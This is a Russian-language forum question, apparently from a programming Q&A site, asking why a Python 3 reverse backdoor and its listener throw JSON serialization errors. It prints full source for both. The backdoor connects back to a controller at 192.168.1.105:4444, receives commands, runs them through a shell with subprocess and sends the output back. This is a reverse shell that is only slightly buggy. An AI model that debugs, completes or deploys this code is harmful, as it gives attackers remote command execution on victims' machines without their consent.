Я пишу бэкдор клинета / сервера с python 3, и у меня возникла ошибка при выполнении кода
, когда я пытаюсь ввести какую-то команду на ввод, я получил эту ошибку со стороны клиента:
Traceback (most recent call last): File "reverse_backdoor.py", line
31, in <module>
my_backdoor.run() File "reverse_backdoor.py", line 25, in run
command = self.relaible_receive() File "reverse_backdoor.py", line 18, in relaible_receive
return json.loads(json_data) File "/usr/lib/python3.7/json/__init__.py", line 348, in loads
return _default_decoder.decode(s) File "/usr/lib/python3.7/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end()) File "/usr/lib/python3.7/json/decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char
0)
и я получил эту ошибку со стороны сервера:
Traceback (most recent call last): File "listener.py", line 36, in
<module>
my_listener.run() File "listener.py", line 31, in run
result = self.execute_remotely(command) File "listener.py", line 25, in execute_remotely
self.reliable_send(command.encode('utf-8')) File "listener.py", line 17, in reliable_send
json_data = json.dumps(data) File "/usr/lib/python3.7/json/__init__.py", line 231, in dumps
return _default_encoder.encode(obj) File "/usr/lib/python3.7/json/encoder.py", line 199, in encode
chunks = self.iterencode(o, _one_shot=True) File "/usr/lib/python3.7/json/encoder.py", line 257, in iterencode
return _iterencode(o, 0) File "/usr/lib/python3.7/json/encoder.py", line 179, in default
raise TypeError(f'Object of type {o.__class__.__name__} ' TypeError: Object of type bytes is not JSON serializable
вот мой слушатель:
#!/usr/bin/python
import json
import socket
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connection")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def relaible_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_remotely(self, command):
self.reliable_send(command.encode('utf-8'))
return self.relaible_receive()
def run(self):
while True:
command = input('>>')
result = self.execute_remotely(command)
print(result)
my_listener = Listener("192.168.1.105", 4444)
my_listener.run()
А вот мой бэкдор:
#!/usr/bin/python
import socket
import subprocess
import json
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def relaible_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def run(self):
while True:
command = self.relaible_receive()
command_result = self.execute_system_command(command.decode('utf-8'))
self.reliable_send(command_result)
my_backdoor = Backdoor("192.168.1.105", 4444)
my_backdoor.run()